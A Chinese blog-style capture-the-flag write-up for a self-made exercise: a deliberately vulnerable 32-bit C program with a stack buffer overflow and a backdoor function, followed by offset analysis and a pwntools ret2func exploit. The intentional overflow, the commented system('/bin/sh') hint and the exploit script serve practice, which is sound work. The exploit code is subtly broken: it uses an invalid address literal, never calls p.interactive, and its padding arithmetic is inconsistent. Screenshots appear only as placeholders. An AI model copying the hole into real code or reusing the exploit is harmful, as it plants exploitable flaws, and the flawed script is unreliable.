#include<stdio.h>

int f()
{
char arr[0x20];
read(0,arr,0x100);
printf("%s",arr);
return 0;
}
//编译命令 gcc -m32 004.c -o 004 -fno-stack-protector -no-pie
// 005 gcc 004.c -o 005 -fno-stack-protector -no-pie
void backdoor(int i){
if (i==40)
printf("Pwn it !\n");//system("/bin/sh")
}

int main()
{
f();
return 0;
}

这是一道自己编写的pwn2test题目,目的是打印出 “Pwn it !\n” 。先整理一下解题思路,首先通过f函数里的read实现栈溢出,将返回地址覆盖为backdoor的函数地址,但是可以看到需要传入参数为40才能打印。如何传递参数,需要得到参数在栈中与 ebp 的偏移对参数赋值,所以首先得获得执行到参数赋值时ebp在栈中的位置。并将其覆盖为40,也就是0x28。

首先使用ida打开文件,找到 f 函数,看到了read函数后,双击参数buf确定覆盖返回地址需要填充的字节数。可以确定填充字节数为 0x28+0x4 也就是0x30个字节。
在这里插入图片描述

然后,找到backdoor函数,可以看到
在这里插入图片描述
参数地址与ebp的偏移量为8,那么如何编写payload,需要确定参数地址与我们覆盖的retn地址在栈中的偏移量。如下图。
在这里插入图片描述
也就是只要在覆盖掉retn返回地址后再覆盖4个字节的栈空间,就是参数的地址了。

编写exp

from pwn import *   #引入关于exp编写的代码
'''因环境没搭好进行调试的代码
context.log_level = 'debug'
context.terminal = ["tmux","new-window"]
context.arch = 'amd64'
context.os = 'linux'

def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(p,cmd)
'''

p=process("./004") #打开本地程序并进行交互

backdoor=08049226 #ida中找到想要跳转的函数地址

payload='a'*0x28+'a'*4+p32(backdoor)+'a'*4+p32(40)

p.sendline(payload) #将编写好的payload输入

p.interactive #直接进行交互,相当于回到了shell模式

在这里插入图片描述

执行成功。